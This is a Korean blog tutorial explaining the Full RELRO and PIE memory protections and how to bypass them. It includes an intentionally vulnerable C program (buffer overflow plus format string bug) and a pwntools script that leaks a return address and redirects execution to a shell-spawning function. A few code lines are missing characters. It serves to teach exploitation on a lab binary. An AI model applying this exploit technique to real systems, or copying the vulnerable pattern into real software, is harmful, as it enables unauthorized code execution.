Self-Improvement

Full RelRO, PIE 이론 및 우회방법 예제 본문

리버싱 기초

Full RelRO, PIE 이론 및 우회방법 예제

JoGeun 2020. 7. 13. 16:54

RELRO

ELF 바이너리에서 printf와 같이 동적으로 링크된 라이브러리의 함수를 호출할 때, 호출된 함수의 주소를 찾기 위해 PLT(Procedure Linkage Table)와 GOT(Global Offset Table)를 사용한다.

GOT에는 처음에 라이브러리 함수의 주소를 구하는 바이너리 코드 영역 주소가 저장되어 있다가, 함수가 처음 호출될 때 라이브러리 함수의 실제 주소가 저장되며 바이너리가 실행되는 도중, 함수가 처음 호출될 때 주소를 찾는 방식을 Lazy Binding이라고 한다.

Lazy Binding을 할 때는 프로그램이 실행되고 있는 도중 GOT에 라이브러리 함수의 주소를 덮어써야 하기 때문에 GOT에 쓰기 권한이 있어야 합니다. GOT에 값을 쓸 수 있다는 특징 때문에 ROP 익스플로잇에 사용되었던 GOT Overwrite와 같은 공격이 가능하다

하지만 Relocation Read-Only(RELRO) 보호기법이 설정되어 있으면 GOT와 같은 다이나믹 섹션이 읽기 권한만을 가지게 되어 GOT Overwrite 공격이 안되어 다른 방법으로 우회를 해야한다.

 

Full RelRO는 Got Overwrite가 안됨으로 Basc libc 상대주소(offset)를 통해서 진행해야함

ex) 기존 Partial Relro에서 ROP할 때는 read나 write의 got 주소에 system 주소를 Overwrite하여 다시 호출한 후 하였지만 Full Relro는 함수 leak을 한 후 offset을 이용하여 libc base 주소를 구한 후 libc base에서의 system 함수와의 offset으로 system 함수와 "/bin/sh"을 구하여 수행하는 것

https://weekhack.tistory.com/18

 

19회 해킹캠프 CTF ucanfind

안녕하세요. Luke입니다. 해킹캠프 CTF의 ucanfind 문제를 가지고 왔습니다. 사실 이 문제는 해킹캠프에 참여했을 당시 비슷한 문제를 전에 32비트로 익스를 성공해서 대충 어떻게 익스를 하면 될지��

weekhack.tistory.com

 


 

PIE

PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.

 

소스코드 no_pie

1
2
3
4
5
//gcc -o no_pie no_pie.c -m32 -no-pie
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n"&main);
}
cs

소스코드 pie

1
2
3
4
5
//gcc -o pie pie.c -m32
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n"&main);
}
cs

위 소스코드를 PIE 보호기법 있을때랑 없을때의 컴파일한 후 실행하여 Main의 실행코드 주소를 확인해본다.

 

위 그림을 봐도 PIE 보호기법이 적용되면 MAIN의 주소는 ASLR 보호기법처럼 실행때마다 변화가 되어진다.

 

PIE 우회 소스코드 예제

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
 
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
void vuln(void){
  char buf[32= {};
  printf("Input1 > ");
  read(0, buf, 512);    // Buffer Overflow
  printf(buf);          // Format String Bug
  printf("Input2 > ");
  read(0, buf, 512);    // Buffer Overflow
}
int main(void){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
}
cs

소스코드를 보면 2가지의 취약점이 존재하게 된다. 8,11번째 줄에서는 bof가 9번째 줄에서는 fsb이다.

PIE를 우회하기 위해서는 Full RELRO처럼 offset을 이용해서 풀어야 하지만 base libc가 아닌 이때는 각 함수들이 동일한 offset으로 주소를 할당받는것을 이용한다.

먼저 fsb 취약점으로 vuln에서 ret의 주소를 leak한 뒤에 leak한 ret 주소와 give_shell 함수의 offset을 이용하여 bof에서 vuln의 ret에 give_shell 주소로 덮어서 쉘을 동작시켜 본다.

 

먼저 vuln에서 ret의 주소를 leak을 해본다.

main에서 vuln을 호출하고 ret는 main+66인 0x565562d0이다. 

 

vuln의 fsb 취약점이 있는 printf()에 bp를 설정하고 스택을 확인해 본다.

0xffffd360에 ret 주소가 확인되어지고 "%x" 포맷스트링을 할 시엔 11번째에서 leak이 되어질 것이다.

gdb가 아닌 쉘환경에서 했으며 단지 11번째 포맷스트링에서 leak이 이루어진다는 점만 보면 된다.

 

이제는 give_shell 주소와의 offset을 구해본다.

vuln의 ret와 give_shell의 offset은 0x107이 차이나며 재실행해도 동일한 offset이 차이가 날것이다.

 

이제는 bof 취약점으로 ret에 offset 만큼 뺀 주소를 덮어씌우면 give_shell을 얻을 수 있다.

 

Pwntools

fsb에서 leak된 ret주소에 offset을 빼면 give_shell 주소가 된다.

give_shell을 bof 취약점으로 ret에 덮어씌우면 쉘을 획득할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
#context.log_level='debug'
= process('./example8')
 
give_shell_offset=0x107
 
p.recvuntil('Input1 >')
payload="%x."*11
p.send(payload)
 
p.recv()
leak=p.recv().split(".")
vuln_ret=int(leak[10],16)
give_shell=vuln_ret-give_shell_offset
 
payload2="A"*40
payload2+=p32(give_shell)
p.send(payload2)
p.interactive()
cs

 

PIE는 ASLR에서 더 나아가 바이너리 영역의 주소를 랜덤화 시키므로, ASLR을 우회했듯이 모든 것을 offset을 이용한 상대적인 주소로 입력해야 합니다.

https://weekhack.tistory.com/29

 

Defcon2015 r0pbaby Write Up - PIE 우회

안녕하세요. Luke입니다. 오늘은 저의 작은 프로젝트이자 목표였던 메모리 보호기법을 처음으로 모두 Write-Up까지 클리어하는 날 입니다! 축하해주세요. 이에 대해서는 프로젝트 마무리 후기로 글

weekhack.tistory.com